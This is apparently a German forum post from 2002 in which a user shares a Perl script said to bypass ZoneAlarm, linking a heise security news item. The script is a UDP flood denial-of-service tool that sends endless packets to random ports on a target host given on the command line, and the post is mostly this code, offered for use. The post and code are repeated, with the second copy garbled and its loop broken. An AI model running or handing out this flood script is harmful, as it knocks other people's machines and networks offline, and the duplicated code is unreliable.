André
Banned
- Registriert
- Sep. 2002
- Beiträge
- 1.634
Hier mal nen Perl Script womit man ZoneAlarm umgehen & sogar nutzen kann um
auf den jeweiligen Rechner zukommen... Mann, Mann. Desktop Firewall halt
Dieses kleine Script ist schon alles....
Firewalls Schützen ! grins....
Hier nen Link : http://www.heise.de/security/news/meldung/39991
!/usr/bin/perl
use Socket;
system(clear);
if(!defined($ARGV[0]))
{
&usage
}
my ($target);
$target=$ARGV[0];
my $ia = inet_aton($target) || die ("[-] Unable to resolve
$target");
socket(DoS, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$target");
print "[*] DoSing $target ... wait 1 minute and then CTRL+C to stop\n";
for (;
{
$size=$rand x $rand x $rand x $rand x $rand x $rand x $rand x $rand x
$rand x $rand x $rand x $rand x $rand x $rand x $rand x $rand x $rand x
$rand x $rand;
$port=int(rand 65000) +1;
send(DoS, 0, $size, sockaddr_in($port, $iaddr));
}
sub usage {die("\n\n[*] Usage : perl $0 <Target>\n\n");}
auf den jeweiligen Rechner zukommen... Mann, Mann. Desktop Firewall halt
Dieses kleine Script ist schon alles....
Firewalls Schützen ! grins....
Hier nen Link : http://www.heise.de/security/news/meldung/39991
!/usr/bin/perl
use Socket;
system(clear);
if(!defined($ARGV[0]))
{
&usage
}
my ($target);
$target=$ARGV[0];
my $ia = inet_aton($target) || die ("[-] Unable to resolve
$target");
socket(DoS, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$target");
print "[*] DoSing $target ... wait 1 minute and then CTRL+C to stop\n";
for (;
$size=$rand x $rand x $rand x $rand x $rand x $rand x $rand x $rand x
$rand x $rand x $rand x $rand x $rand x $rand x $rand x $rand x $rand x
$rand x $rand;
$port=int(rand 65000) +1;
send(DoS, 0, $size, sockaddr_in($port, $iaddr));
}
sub usage {die("\n\n[*] Usage : perl $0 <Target>\n\n");}
Zuletzt bearbeitet: